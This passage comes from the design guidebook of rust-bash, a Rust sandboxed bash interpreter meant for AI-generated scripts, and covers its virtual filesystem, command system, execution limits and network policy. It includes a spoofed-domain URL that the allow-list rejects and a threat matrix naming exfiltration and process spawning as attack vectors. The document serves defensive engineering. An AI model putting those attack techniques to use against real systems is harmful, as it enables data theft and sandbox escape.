stored in `InterpreterState.functions`. Functions *can* shadow registered commands (e.g., a function named `echo` overrides the built-in echo).\n3. **Registered commands** — looked up in `InterpreterState.commands` HashMap.\n4. **\"Command not found\"** — stderr error, exit code 127.\n\n> **Note**: In real bash, regular builtins (like `echo`, `test`) *can* be shadowed by functions. Our order matches this — only special builtins (those that modify state) are unshadowable. This is a deliberate safety choice: preventing functions from shadowing `cd`, `exit`, or `export` avoids accidental breakage in agent-generated scripts.\n\nExternal process execution is impossible by design — there is no fallback to `std::process::Command`.\n\n## Shell Builtins\n\nThese commands are handled directly by the interpreter (not the command registry) because they modify interpreter state:\n\n| Builtin | Effect |\n|---------|--------|\n| `cd` | Changes `state.cwd` |\n| `export` | Marks variable as exported |\n| `unset` | Removes variable |\n| `set` | Sets shell options (`-e`, `-u`, `-o pipefail`, `-x`) |\n| `shift` | Shifts positional parameters |\n| `local` | Declares function-scoped variable |\n| `declare` | Declares variable with attributes |\n| `readonly` | Makes variable read-only |\n| `return` | Returns from function |\n| `exit` | Exits with code |\n| `break`/`continue` | Loop control flow |\n| `eval` | Parse and execute string |\n| `source`/`.` | Parse and execute file |\n| `read` | Read line from stdin into variable |\n| `trap` | Register exit/error handler (only `trap EXIT` and `trap ERR` are meaningful; signal-based traps are no-ops in a sandbox) |\n| `let` | Evaluate arithmetic expression |\n| `:` | No-op (always succeeds) |\n\n## Control Flow Signals\n\n`break`, `continue`, and `return` use a signal mechanism (enum variant or special result type) that propagates up through nested execution to the correct loop or function level. `break N` and `continue N` support optional numeric arguments for breaking out of nested loops.\n\n## Shell Options Enforcement\n\nThe `ShellOpts` struct tracks shell options set via `set` builtin:\n\n### `set -e` (errexit)\n\nWhen enabled, the shell exits immediately when a command returns a non-zero exit code. Exceptions (matching bash behavior):\n\n- Commands in `if`/`while`/`until` conditions\n- Left side of `&&`/`||` chains\n- Negated commands (`! cmd`)\n- Commands in subshells (subshell may exit, but parent only sees exit code)\n\nImplementation uses an `errexit_suppressed` counter on `InterpreterState` to track exception context nesting.\n\n### `set -u` (nounset)\n\nErrors on expansion of unset variables. Exceptions:\n\n- `${VAR:-default}` and other default/alternative value expansions\n- Special variables (`$@`, `$*`, `$#`, `$?`, `$-`, etc.)\n\n### `set -o pipefail`\n\nPipeline exit code becomes the rightmost non-zero exit code (instead of just the last command's exit code). E.g., `false | true` returns 1 instead of 0.\n","/home/user/docs/guidebook/05-virtual-filesystem.md":"# Chapter 5: Virtual Filesystem\n\n## Overview\n\nThe VFS is the core sandboxing mechanism. Every file operation in rust-bash goes through the `VirtualFs` trait. No command, no interpreter path, and no redirect handler ever calls `std::fs` directly. This is the fundamental guarantee that makes rust-bash a sandbox.\n\n## The VirtualFs Trait\n\n```rust\npub trait VirtualFs: Send + Sync {\n    // File CRUD\n    fn read_file(&self, path: &Path) -> Result<Vec<u8>, VfsError>;\n    fn write_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError>;\n    fn append_file(&self, path: &Path, content: &[u8]) -> Result<(), VfsError>;\n    fn remove_file(&self, path: &Path) -> Result<(), VfsError>;\n\n    // Directory operations\n    fn mkdir(&self, path: &Path) -> Result<(), VfsError>;\n    fn mkdir_p(&self, path: &Path) -> Result<(), VfsError>;\n    fn readdir(&self, path: &Path) -> Result<Vec<DirEntry>, VfsError>;\n    fn remove_dir(&self, path: &Path) -> Result<(), VfsError>;\n    fn remove_dir_all(&self, path: &Path) -> Result<(), VfsError>;\n\n    // Metadata and permissions\n    fn exists(&self, path: &Path) -> bool;\n    fn stat(&self, path: &Path) -> Result<Metadata, VfsError>;\n    fn lstat(&self, path: &Path) -> Result<Metadata, VfsError>;\n    fn chmod(&self, path: &Path, mode: u32) -> Result<(), VfsError>;\n    fn utimes(&self, path: &Path, mtime: SystemTime) -> Result<(), VfsError>;\n\n    // Links\n    fn symlink(&self, target: &Path, link: &Path) -> Result<(), VfsError>;\n    fn hardlink(&self, src: &Path, dst: &Path) -> Result<(), VfsError>;\n    fn readlink(&self, path: &Path) -> Result<PathBuf, VfsError>;\n\n    // Path resolution\n    fn canonicalize(&self, path: &Path) -> Result<PathBuf, VfsError>;\n\n    // File operations\n    fn copy(&self, src: &Path, dst: &Path) -> Result<(), VfsError>;\n    fn rename(&self, src: &Path, dst: &Path) -> Result<(), VfsError>;\n\n    // Glob expansion\n    fn glob(&self, pattern: &str, cwd: &Path) -> Result<Vec<PathBuf>, VfsError>;\n\n    // Subshell isolation\n    fn deep_clone(&self) -> Arc<dyn VirtualFs>;\n}\n```\n\nAll paths passed to VFS methods are resolved to absolute paths by the caller. The VFS itself does not track a \"current directory\" — that is the interpreter's responsibility.\n\n## Backend Implementations\n\n### InMemoryFs (Default)\n\nThe default backend. All data lives in memory. Zero `std::fs` calls.\n\n**Data structure**: A tree of `FsNode` variants:\n\n```rust\nenum FsNode {\n    File {\n        content: Vec<u8>,\n        mode: u32,\n        mtime: SystemTime,\n    },\n    Directory {\n        children: BTreeMap<String, FsNode>,\n        mode: u32,\n        mtime: SystemTime,\n    },\n    Symlink {\n        target: PathBuf,\n        mtime: SystemTime,\n    },\n}\n```\n\n**Thread safety**: The tree is wrapped in `Arc<parking_lot::RwLock<FsNode>>`. This enables:\n- Cheap `Clone` (just Arc increment) — needed for subshell state cloning\n- `Send + Sync` — needed for the `VirtualFs` trait bounds\n- Non-poisoning locks (parking_lot) — a panicking command doesn't permanently kill the VFS\n\n**Path normalization**: All paths go through normalization that:\n- Resolves `.` and `..` components\n- Handles absolute and relative paths (relative resolved against provided cwd)\n- Strips trailing slashes\n- Rejects empty paths\n\n**Internal navigation helpers**:\n- `with_node(path, f)` — read-lock, navigate to node, apply closure\n- `with_node_mut(path, f)` — write-lock, navigate to node, apply closure\n- `with_parent_mut(path, f)` — write-lock, navigate to parent, apply closure with child name\n\n### OverlayFs (Copy-on-Write)\n\nReads from a real directory, writes to an in-memory layer. Changes never touch disk.\n\n```rust\nstruct OverlayFs {\n    lower: PathBuf,                              // real directory (read-only source)\n    upper: InMemoryFs,                           // in-memory writes\n    whiteouts: Arc<RwLock<HashSet<PathBuf>>>,    // tracks deletions\n}\n```\n\n**Resolution order**:\n1. Check if path is in `whiteouts` → return \"not found\"\n2. Check `upper` (in-memory) → return if found\n3. Check `lower` (real FS) → return if found\n4. Return \"not found\"\n\n**Write operations**: Always go to `upper`. The `lower` directory is never modified.\n\n**Delete operations**: Add path to `whiteouts`. If the file exists in `upper`, also remove it from there.\n\n**Subshell isolation** (`deep_clone`): Clones the upper layer and whiteout set. The lower directory reference is shared (it's read-only anyway).\n\n**Use case**: Let an agent read a real project's files while sandboxing all writes. Perfect for code analysis tools, linters, or build system simulations.\n\n**Example**:\n```rust\nuse rust_bash::{RustBashBuilder, OverlayFs};\nuse std::sync::Arc;\n\nlet overlay = OverlayFs::new(\"./my_project\").unwrap();\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(overlay))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\n// Reads come from disk\nlet result = shell.exec(\"cat /src/main.rs\").unwrap();\n\n// Writes stay in memory — disk is never modified\nshell.exec(\"echo modified > /src/main.rs\").unwrap();\n```\n\n### ReadWriteFs (Passthrough)\n\nThin wrapper over `std::fs` implementing the `VirtualFs` trait. For trusted execution where you want real filesystem access.\n\n```rust\nstruct ReadWriteFs {\n    root: Option<PathBuf>,  // optional chroot-like restriction\n}\n```\n\nIf `root` is set, all paths are resolved relative to it and path traversal beyond the root is rejected with `PermissionDenied`. Symlink-based escape attempts are also caught.\n\n**Subshell isolation** (`deep_clone`): Creates a new `ReadWriteFs` with the same root — both instances point to the same real filesystem. There is no isolation since writes go directly to disk.\n\n**Example**:\n```rust\nuse rust_bash::{RustBashBuilder, ReadWriteFs};\nuse std::sync::Arc;\n\n// Restricted to a directory (chroot-like)\nlet rwfs = ReadWriteFs::with_root(\"/tmp/sandbox\").unwrap();\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(rwfs))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n\n// Operations hit the real filesystem under /tmp/sandbox\nshell.exec(\"echo hello > /output.txt\").unwrap();  // writes to /tmp/sandbox/output.txt\n```\n\n### MountableFs (Composite)\n\nCombines multiple backends at different mount points.\n\n```rust\npub struct MountableFs {\n    mounts: Arc<RwLock<BTreeMap<PathBuf, Arc<dyn VirtualFs>>>>,\n}\n```\n\n**Resolution**: Find the longest matching mount prefix, delegate to that backend with the path stripped of the prefix. Uses `BTreeMap` reverse iteration for efficient longest-prefix lookup.\n\n**Cross-mount operations**: `copy` and `rename` across mount boundaries use read+write (and delete for rename). `hardlink` across mounts returns an error, matching Unix behavior.\n\n**Directory listings**: Mount points appear as synthetic directory entries in their parent's listing, even if the parent filesystem doesn't contain them.\n\n**Subshell isolation** (`deep_clone`): Recursively deep-clones each mounted backend. Each mount gets its own independent copy.\n\n**Example configuration**:\n```rust\nuse rust_bash::{RustBashBuilder, InMemoryFs, MountableFs, OverlayFs};\nuse std::sync::Arc;\n\nlet mountable = MountableFs::new()\n    .mount(\"/\", Arc::new(InMemoryFs::new()))                          // default: in-memory\n    .mount(\"/project\", Arc::new(OverlayFs::new(\"./myproject\").unwrap()))  // read real project\n    .mount(\"/tmp\", Arc::new(InMemoryFs::new()));                      // separate temp space\n\nlet mut shell = RustBashBuilder::new()\n    .fs(Arc::new(mountable))\n    .cwd(\"/\")\n    .build()\n    .unwrap();\n```\n\n## VfsError\n\n```rust\npub enum VfsError {\n    NotFound(PathBuf),\n    AlreadyExists(PathBuf),\n    NotADirectory(PathBuf),\n    NotAFile(PathBuf),\n    IsADirectory(PathBuf),\n    PermissionDenied(PathBuf),\n    DirectoryNotEmpty(PathBuf),\n    SymlinkLoop(PathBuf),\n    InvalidPath(String),\n    IoError(String),\n}\n```\n\nVFS errors map to conventional Unix errno values for commands that check them. For example, `cat nonexistent.txt` maps `VfsError::NotFound` to the stderr message `cat: nonexistent.txt: No such file or directory` and exit code 1.\n\n## Glob Implementation\n\nThe VFS glob walks the in-memory tree and matches paths against shell glob patterns:\n\n- `*` matches any sequence of characters within a path component\n- `?` matches exactly one character\n- `[abc]` matches any character in the set\n- `[a-z]` matches any character in the range\n- `[!abc]` or `[^abc]` matches any character NOT in the set\n- `**` matches any number of path components (recursive)\n\nGlob results are limited by `ExecutionLimits::max_glob_results` to prevent patterns like `/**/*` from generating unbounded results.\n\n## Default Filesystem Layout\n\nWhen `RustBashBuilder::build()` creates a shell instance, it populates the VFS with a standard Unix-like directory structure so that AI agents and scripts encounter the layout they expect:\n\n```\n/\n├── bin/          # Stub files for every registered command and builtin\n│   ├── ls        # #!/bin/bash\\n# built-in: ls\n│   ├── grep\n│   ├── cd        # Builtin stubs too\n│   └── ...\n├── usr/\n│   └── bin/\n├── tmp/\n├── dev/\n│   ├── null\n│   ├── zero\n│   ├── stdin\n│   ├── stdout\n│   └── stderr\n└── home/\n    └── user/     # Derived from $HOME if provided\n```\n\n**Command stubs**: Every registered command and shell builtin gets a stub file in `/bin/` containing `#!/bin/bash\\n# built-in: <name>`. This makes `ls /bin` list available commands, `test -f /bin/grep` return true, and PATH-based resolution work for the `which` command.\n\n**Non-clobbering**: `setup_default_filesystem()` only creates directories and files that don't already exist. User-seeded files from `.files()` and caller-provided VFS content are never overwritten.\n\n## Design Decisions\n\n**Why `&self` instead of `&mut self` on mutating methods?** Using `&self` allows a single `VirtualFs` instance to be shared by reference across the interpreter and command contexts without requiring exclusive borrow tracking at the call site. Implementations use interior mutability (`parking_lot::RwLock`) internally. The trade-off is that custom `VirtualFs` implementors must also use interior mutability.\n\n**Why a trait instead of an enum?** The trait enables user-defined backends. A consumer of rust-bash can implement `VirtualFs` for their own storage system (e.g., S3-backed, database-backed) without modifying our codebase.\n\n**Why `parking_lot::RwLock` instead of `std::sync::RwLock`?** Standard `RwLock` poisons on panic. If any command panics while holding the lock, all subsequent VFS operations fail with a poison error. `parking_lot::RwLock` doesn't poison — a panic releases the lock normally.\n\n**Why `Vec<u8>` instead of `String` for file content?** Files can contain arbitrary bytes. Binary files, files with mixed encodings, and files with invalid UTF-8 must all be representable. Commands that operate on text (`grep`, `sort`, etc.) handle the UTF-8 conversion themselves.\n","/home/user/docs/guidebook/06-command-system.md":"# Chapter 6: Command System\n\n## Overview\n\nCommands are the units of work in rust-bash. Every executable name (`echo`, `grep`, `cat`, etc.) is resolved to a Rust implementation that receives structured inputs and produces structured outputs. No command ever spawns a real process.\n\n## The VirtualCommand Trait\n\n```rust\npub trait VirtualCommand: Send + Sync {\n    fn name(&self) -> &str;\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult;\n}\n```\n\nCommands are stateless — all context is provided through `CommandContext`. This makes them easy to test in isolation and safe to share across threads.\n\n## CommandContext\n\n```rust\npub struct CommandContext<'a> {\n    pub fs: &'a dyn VirtualFs,\n    pub cwd: &'a str,\n    pub env: &'a HashMap<String, String>,\n    pub stdin: &'a str,\n    pub stdin_bytes: Option<&'a [u8]>,\n    pub limits: &'a ExecutionLimits,\n    pub network_policy: &'a NetworkPolicy,\n    pub exec: Option<ExecCallback<'a>>,\n}\n```\n\n> **Note on env type**: Commands see a flattened `String → String` view of the environment. The interpreter internally stores `Variable` structs with metadata (exported flag, readonly flag, etc.) and projects the string values into `CommandContext`.\n\n> **Note on exec type**: `ExecCallback<'a>` is `&'a dyn Fn(&str) -> Result<CommandResult, RustBashError>`. Commands like `xargs` and `find -exec` use this to invoke sub-commands through the interpreter.\n\n| Field | Purpose |\n|-------|---------|\n| `fs` | VFS for all file operations |\n| `cwd` | Current working directory for resolving relative paths |\n| `env` | Environment variables (read-only from command's perspective) |\n| `stdin` | Input piped from the previous command in a pipeline |\n| `stdin_bytes` | Binary input from pipeline (used by compression commands) |\n| `limits` | Execution limits (commands should respect max_output_size) |\n| `network_policy` | Network access policy (checked by `curl` before any HTTP request) |\n| `exec` | Callback to execute sub-commands (used by `xargs`, `find -exec`, etc.) |\n\n## CommandResult\n\n```rust\npub struct CommandResult {\n    pub stdout: String,\n    pub stderr: String,\n    pub exit_code: i32,\n    pub stdout_bytes: Option<Vec<u8>>,\n}\n```\n\nCommands return structured results. The interpreter handles piping stdout between pipeline stages and collecting stderr. Binary commands (compression/archiving) use `stdout_bytes` for byte-transparent output.\n\n## CommandMeta and `--help` Support\n\nEvery command and builtin can provide declarative metadata via `CommandMeta`:\n\n```rust\npub struct CommandMeta {\n    pub name: &'static str,\n    pub synopsis: &'static str,        // e.g., \"grep [OPTIONS] PATTERN [FILE...]\"\n    pub description: &'static str,     // One-line summary\n    pub options: &'static [(&'static str, &'static str)],  // (\"-n\", \"print line numbers\")\n    pub supports_help_flag: bool,      // false for echo, true, false, test, [\n    pub flags: &'static [FlagInfo],    // Detailed flag metadata with status\n}\n```\n\nCommands expose metadata through the `VirtualCommand::meta()` method (default returns `None`). Builtins provide metadata through the `builtin_meta()` function in the builtins module.\n\n### `--help` Dispatch\n\nWhen a command receives `--help` as its **first** argument, the dispatch layer intercepts it **before** any command code runs:\n\n1. Look up `CommandMeta` for the command name (builtins first, then registered commands).\n2. If `meta.supports_help_flag == true` → print formatted help to stdout, exit 0.\n3. If `meta.supports_help_flag == false` → fall through to normal dispatch.\n4. If no metadata found → fall through to normal dispatch.\n\n### Bash Compatibility Opt-Outs\n\nSome commands set `supports_help_flag: false` to match bash behavior:\n\n| Command | Behavior with `--help` |\n|---------|----------------------|\n| `echo` | Prints literal `--help` |\n| `true` | Exits 0 silently |\n| `false` | Exits 1 silently |\n| `test` | Treats `--help` as string operand (truthy) |\n| `[` | Treats `--help` as string operand (truthy) |\n\n## Command Resolution Order\n\nWhen the interpreter encounters a command name, it resolves in this order:\n\n1. **`--help` interception** — if the first argument is `--help`, check metadata and potentially return help text (see above).\n2. **Shell builtins** — `cd`, `export`, `exit`, `set`, `local`, `return`, etc. Handled directly by the interpreter.\n3. **User-defined functions** — stored in `InterpreterState.functions`.\n4. **Registered commands** — looked up in `InterpreterState.commands` HashMap.\n5. **\"Command not found\"** — stderr error, exit code 127.\n\nExternal process execution is impossible by design — there is no fallback to `std::process::Command`.\n\n## `which` Command — PATH-Based Resolution\n\nThe `which` command resolves command names using actual VFS-based PATH lookup, matching real bash behavior:\n\n1. **Check builtins** — if the name is a shell builtin (via `is_builtin()`), output `{name}: shell built-in command`\n2. **Search PATH** — split `$PATH` on `:`, check each directory in the VFS for a matching file\n3. **Return first hit** — output the full path (e.g., `/bin/ls`)\n4. **Exit 1** if not found\n\nThis works because `RustBashBuilder::build()` creates stub files in `/bin/` for every registered command and builtin. The stub files contain `#!/bin/bash\\n# built-in: <name>`, making them visible to `ls /bin`, `test -f /bin/ls`, and PATH-based resolution.\n\n## Default Environment Variables\n\nThe builder sets sensible defaults for variables not already provided by the caller:\n\n| Variable | Default | Notes |\n|----------|---------|-------|\n| `PATH` | `/usr/bin:/bin` | |\n| `HOME` | `/home/user` | |\n| `USER` | `user` | |\n| `PWD` | CWD value | |\n| `OLDPWD` | (empty) | |\n| `SHELL` | `/bin/bash` | |\n| `BASH` | `/bin/bash` | |\n| `BASH_VERSION` | crate version | |\n| `HOSTNAME` | `rust-bash` | |\n| `OSTYPE` | `linux-gnu` | |\n| `TERM` | `xterm-256color` | |\n\nCaller-provided env vars via `.env()` always take precedence — defaults are only set for keys not already present.\n\n## Command Categories\n\n### Shell Builtins (Interpreter-Handled)\n\nThese commands modify interpreter state and cannot be implemented as `VirtualCommand`:\n\n`cd`, `export`, `unset`, `set`, `shift`, `local`, `declare`, `readonly`, `return`, `exit`, `break`, `continue`, `eval`, `source`/`.`, `read`, `trap`, `let`, `:`, `shopt`, `type`, `command`, `builtin`, `getopts`, `mapfile`/`readarray`, `pushd`, `popd`, `dirs`, `hash`, `wait`, `alias`, `unalias`, `printf`, `exec`, `sh`/`bash`, `help`, `history`\n\n> `true` and `false` are **not** builtins — they are registered `VirtualCommand` implementations and resolved at step 3 (registered commands).\n\n### File Operations\n\nCommands that interact with the VFS for file I/O:\n\n| Command | Key Flags | Notes |\n|---------|-----------|-------|\n| `cat` | `-n` (line numbers) | Concatenate files or stdin |\n| `ls` | `-l`, `-a`, `-R`, `-1` | List directory entries |\n| `mkdir` | `-p` | Create directories |\n| `cp` | `-r` (recursive) | Copy via VFS |\n| `mv` | | Rename via VFS |\n| `rm` | `-r`, `-f` | Remove via VFS |\n| `ln` | `-s` (symbolic) | Create links in VFS |\n| `touch` | | Create file or update mtime |\n| `stat` | | Display file metadata |\n| `tee` | `-a` (append) | Write stdin to file and stdout |\n| `chmod` | | Change file permissions in VFS |\n| `tree` | | Display directory tree |\n| `readlink` | `-f`, `-e`, `-m` | Resolve symlinks |\n| `rmdir` | `-p` | Remove empty directories |\n| `du` | `-s`, `-h`, `-a`, `-d` | Estimate file space usage |\n| `split` | `-l`, `-b` | Split file into chunks |\n\n### Text Processing\n\nCommands that operate on string data (stdin or file contents):\n\n| Command | Key Flags | Notes |\n|---------|-----------|-------|\n| `grep` | `-E`, `-i`, `-n`, `-r`, `-o`, `-v`, `-l`, `-c`, `-A`/`-B`/`-C` | Regex support via `regex` crate |\n| `egrep` / `fgrep` | | Aliases for `grep -E` / `grep -F` |\n| `rg` | `-i`, `-t`, `-T`, `-g`, `--vimgrep` | Ripgrep-compatible recursive search |\n| `sort` | `-r`, `-n`, `-k`, `-t`, `-u` | Sort lines |\n| `uniq` | `-c`, `-d`, `-u` | Deduplicate adjacent lines |\n| `cut` | `-d`, `-f`, `-c` | Extract fields/columns |\n| `head` | `-n` | First N lines |\n| `tail` | `-n` | Last N lines |\n| `wc` | `-l`, `-w`, `-c` | Count lines/words/bytes |\n| `tr` | `-d`, `-s` | Translate/delete characters |\n| `rev` | | Reverse lines |\n| `fold` | `-w`, `-s` | Wrap lines at width |\n| `nl` | | Number lines |\n| `paste` | `-d` | Merge lines of files |\n| `od` | `-A`, `-t` | Octal/hex/decimal dump |\n| `tac` | | Reverse file line order |\n| `comm` | `-1`, `-2`, `-3` | Compare sorted files |\n| `join` | `-t`, `-j` | Join sorted files on field |\n| `fmt` | `-w` | Reformat paragraph text |\n| `column` | `-t`, `-s` | Columnate lists |\n| `expand` | `-t` | Convert tabs to spaces |\n| `unexpand` | `-a`, `-t` | Convert spaces to tabs |\n| `diff` | `-u` | Compare files |\n| `strings` | `-n` | Extract printable strings from binary data |\n\n### Mini-Languages\n\nSub-interpreters for domain-specific languages:\n\n| Command | Implementation Approach |\n|---------|----------------------|\n| `awk` | Custom interpreter — field splitting, patterns, actions, built-in functions |\n| `sed` | Custom interpreter — address matching, s///, hold space |\n| `jq` | Via `jaq-core` crate — battle-tested jq implementation in Rust |\n\nThese are the most complex commands. Each is effectively a mini-programming-language. See the implementation plan (Chapter 10) for scoping decisions on the 80/20 subset.\n\n### Navigation\n\nCommands that traverse the VFS directory structure:\n\n| Command | Key Flags | Notes |\n|---------|-----------|-------|\n| `ls` | `-l`, `-a`, `-R`, `-1` | List directory contents |\n| `find` | `-name`, `-type`, `-maxdepth` | Search directory tree |\n| `basename` | | Strip directory from path |\n| `dirname` | | Strip last component from path |\n| `realpath` | | Resolve path via VFS canonicalize |\n| `pwd` | | Print working directory |\n\n### Utilities\n\nPure computation or environment lookups:\n\n| Command | Notes |\n|---------|-------|\n| `echo` | Print arguments |\n| `printf` | Formatted output |\n| `date` | Date/time formatting (uses real or injected clock) |\n| `sleep` | Pause execution (respects timeout limits) |\n| `seq` | Generate number sequences |\n| `expr` | Evaluate expressions |\n| `env` / `printenv` | Display environment |\n| `which` | Show command path via PATH-based VFS resolution |\n| `xargs` | Build and execute commands from stdin |\n| `test` / `[` | Conditional expressions |\n| `base64` | Encode/decode |\n| `md5sum` / `sha1sum` / `sha256sum` | Hash computation |\n| `whoami` / `hostname` / `uname` | Return sandbox-configured values |\n| `yes` | Repeat output (with iteration limit!) |\n| `timeout` | Run command with time limit |\n| `file` | Detect file type via magic bytes |\n| `bc` | Arbitrary precision calculator |\n| `clear` | Output ANSI clear-screen escape sequence |\n\n### Compression and Archiving\n\nCommands that compress, decompress, and archive binary data. These use `stdout_bytes`/`stdin_bytes`\nfor byte-transparent pipeline propagation (binary data is never corrupted by UTF-8 conversion).\n\n| Command | Key Flags | Notes |\n|---------|-----------|-------|\n| `gzip` | `-d`, `-c`, `-k`, `-f`, `-1`..`-9` | Compress files via `flate2` crate |\n| `gunzip` | `-c`, `-k`, `-f` | Decompress (equivalent to `gzip -d`) |\n| `zcat` | | Decompress to stdout (equivalent to `gzip -dc`) |\n| `tar` | `-c`, `-x`, `-t`, `-f`, `-z`, `-v`, `-C` | Create, extract, list archives. `-z` for gzip compression |\n\n### Network\n\n| Command | Notes |\n|---------|-------|\n| `curl` | Sandboxed HTTP — validates every request against `NetworkPolicy` |\n\n## Implementing a New Command\n\nTo add a command:\n\n1. Create a struct implementing `VirtualCommand`\n2. Implement `name()` → the command name string\n3. Implement `meta()` → return a `&'static CommandMeta` with help text and options\n4. Implement `execute()` → parse args, read from `ctx.fs`/`ctx.stdin`, return `CommandResult`\n5. Register in the default command registry\n\n```rust\nuse crate::commands::{CommandContext, CommandMeta, CommandResult, VirtualCommand};\n\npub struct MyCommand;\n\nstatic MY_COMMAND_META: CommandMeta = CommandMeta {\n    name: \"mycommand\",\n    synopsis: \"mycommand [OPTIONS] [ARG ...]\",\n    description: \"Do something useful.\",\n    options: &[\n        (\"-v\", \"verbose output\"),\n    ],\n    supports_help_flag: true,\n    flags: &[],\n};\n\nimpl VirtualCommand for MyCommand {\n    fn name(&self) -> &str { \"mycommand\" }\n\n    fn meta(&self) -> Option<&'static CommandMeta> {\n        Some(&MY_COMMAND_META)\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        // Parse arguments\n        // Do work using ctx.fs, ctx.stdin, ctx.env\n        // Return result\n        CommandResult {\n            stdout: \"output\\n\".to_string(),\n            stderr: String::new(),\n            exit_code: 0,\n        }\n    }\n}\n```\n\n> **Note**: The `--help` flag is handled automatically by the dispatch layer. You do not need to check for `--help` in your `execute()` method — just provide the `CommandMeta`.\n\n## Custom Commands (User-Provided)\n\nThe `RustBashBuilder` allows registering custom commands:\n\n```rust\nlet mut shell = RustBashBuilder::new()\n    .command(Box::new(MyCustomCommand))\n    .build()\n    .unwrap();\n```\n\nCustom commands have the same capabilities as built-in commands — full VFS access, environment access, and stdin. This is the extension point for domain-specific tools.\n\n## Argument Parsing Conventions\n\nCommands should follow GNU/POSIX argument conventions:\n- Short flags: `-n`, `-r`, `-v`\n- Long flags: `--recursive`, `--verbose`\n- `--` terminates flag parsing\n- Combined short flags: `-rn` equivalent to `-r -n`\n\nFor commands with complex argument parsing, consider using a lightweight argument parser. For simple commands, manual parsing is fine.\n\n## Error Conventions\n\nCommands report errors via stderr and exit code, not by returning Rust errors:\n- Exit code 0: success\n- Exit code 1: general error\n- Exit code 2: misuse of command (bad arguments)\n- Exit code 127: command not found (set by interpreter, not commands)\n\nError messages should follow the format: `command_name: message` (e.g., `cat: /nonexistent: No such file or directory`).\n\n### `unknown_option()` Helper\n\nThe `unknown_option(cmd, option)` helper in `src/commands/mod.rs` produces standardized error messages for unrecognized flags, matching bash/GNU conventions:\n\n- Long options (`--foo`): `cmd: unrecognized option '--foo'`\n- Short options (`-x`): `cmd: invalid option -- 'x'`\n\nBoth return exit code 2. Commands should call this instead of crafting ad-hoc error messages:\n\n```rust\nuse crate::commands::unknown_option;\n\n// In a command's flag parsing:\n_ => return unknown_option(\"mycommand\", arg),\n```\n\n## FlagInfo and FlagStatus Metadata\n\n`CommandMeta` includes an optional `flags` field for introspection of per-command flag support status:\n\n```rust\npub enum FlagStatus {\n    Supported,  // Fully implemented\n    Stubbed,    // Accepted but incomplete\n    Ignored,    // Recognized but silently ignored\n}\n\npub struct FlagInfo {\n    pub flag: &'static str,       // e.g. \"-n\" or \"--number\"\n    pub description: &'static str,\n    pub status: FlagStatus,\n}\n```\n\nCommands declare their flag metadata in a static array referenced by `CommandMeta::flags`. When `flags` is non-empty, `format_help()` appends a \"Flag support\" section to the `--help` output showing each flag's status.\n\nDefault `flags` to `&[]` for commands that haven't been annotated yet — this is backward-compatible and doesn't affect existing behavior.\n","/home/user/docs/guidebook/07-execution-safety.md":"# Chapter 7: Execution Safety\n\n## Overview\n\nrust-bash is designed to run untrusted, AI-generated scripts. This chapter covers all safety mechanisms: execution limits, network policy, and the broader security model.\n\n## Execution Limits\n\n```rust\npub struct ExecutionLimits {\n    pub max_call_depth: usize,           // default: 25\n    pub max_command_count: usize,        // default: 10,000\n    pub max_loop_iterations: usize,      // default: 10,000\n    pub max_execution_time: Duration,    // default: 30s\n    pub max_output_size: usize,          // default: 10MB\n    pub max_string_length: usize,        // default: 10MB\n    pub max_glob_results: usize,         // default: 100,000\n    pub max_substitution_depth: usize,   // default: 50\n    pub max_heredoc_size: usize,         // default: 10MB\n    pub max_brace_expansion: usize,      // default: 10,000\n}\n```\n\n### Enforcement Points\n\n| Limit | Checked At |\n|-------|-----------|\n| `max_call_depth` | Every function call and `source` invocation |\n| `max_command_count` | Every command dispatch (simple or compound) |\n| `max_loop_iterations` | Each iteration of `for`, `while`, `until` loops |\n| `max_execution_time` | Periodically during execution (wall-clock check) |\n| `max_output_size` | Every stdout/stderr append |\n| `max_string_length` | Variable assignment and string concatenation |\n| `max_glob_results` | After glob expansion completes |\n| `max_substitution_depth` | Nested `$()` command substitutions |\n| `max_heredoc_size` | When processing here-document content |\n| `max_brace_expansion` | When expanding `{1..N}` or `{a,b,...}` |\n\n### Execution Counters\n\n```rust\npub struct ExecutionCounters {\n    pub command_count: usize,\n    pub call_depth: usize,\n    pub output_size: usize,\n    pub start_time: Instant,\n    pub substitution_depth: usize,\n}\n```\n\nCounters are stored in `InterpreterState` and **reset at the start of each `exec()` call**. This means each `exec()` gets a fresh budget. Accumulated state (VFS, env) persists, but resource consumption is bounded per call.\n\n### Limit Exceeded Behavior\n\nWhen a limit is exceeded, execution stops immediately with a structured error:\n\n```rust\nRustBashError::LimitExceeded {\n    limit_name: \"max_loop_iterations\",\n    limit_value: 10_000,\n    actual_value: 10_001,\n}\n```\n\nThis error is returned as `Err(RustBashError::LimitExceeded{...})` from `shell.exec()`. The sandbox remains usable for subsequent `exec()` calls — hitting a limit does not poison the sandbox or its state.\n\n## Network Policy\n\n```rust\npub struct NetworkPolicy {\n    pub enabled: bool,                     // default: false\n    pub allowed_url_prefixes: Vec<String>, // e.g., [\"https://api.example.com/\"]\n    pub allowed_methods: HashSet<String>,  // e.g., {\"GET\", \"POST\"}\n    pub max_redirects: usize,             // default: 5\n    pub max_response_size: usize,         // default: 10MB\n    pub timeout: Duration,                // default: 30s\n}\n```\n\n**Network is disabled by default.** The `curl` command checks the network policy before making any HTTP request. If networking is disabled or the URL doesn't match an allowed prefix, the command returns an error without making any network call.\n\n### URL Validation\n\nURL prefixes are matched literally. `\"https://api.example.com/\"` allows:\n- `https://api.example.com/v1/data`\n- `https://api.example.com/users?id=1`\n\nBut rejects:\n- `https://api.example.com.evil.org/` (different domain)\n- `http://api.example.com/` (different scheme)\n\n### Redirect Safety\n\nEven when a URL matches the allow list, redirects are followed only if:\n1. The redirect count hasn't exceeded `max_redirects`\n2. Each redirect target URL also matches an allowed prefix\n\nThis prevents an allowed URL from redirecting to a malicious endpoint.\n\n## Security Model\n\n### Threat Matrix\n\n| Attack Vector | Mitigation | Status |\n|---------------|------------|--------|\n| Real filesystem access | All operations go through `VirtualFs` trait; `InMemoryFs` has zero `std::fs` calls | Core design |\n| Process spawning | No `std::process::Command` anywhere; all commands are in-process Rust | Core design |\n| Network exfiltration | `NetworkPolicy` disabled by default; URL prefix allow-listing when enabled | ✅ 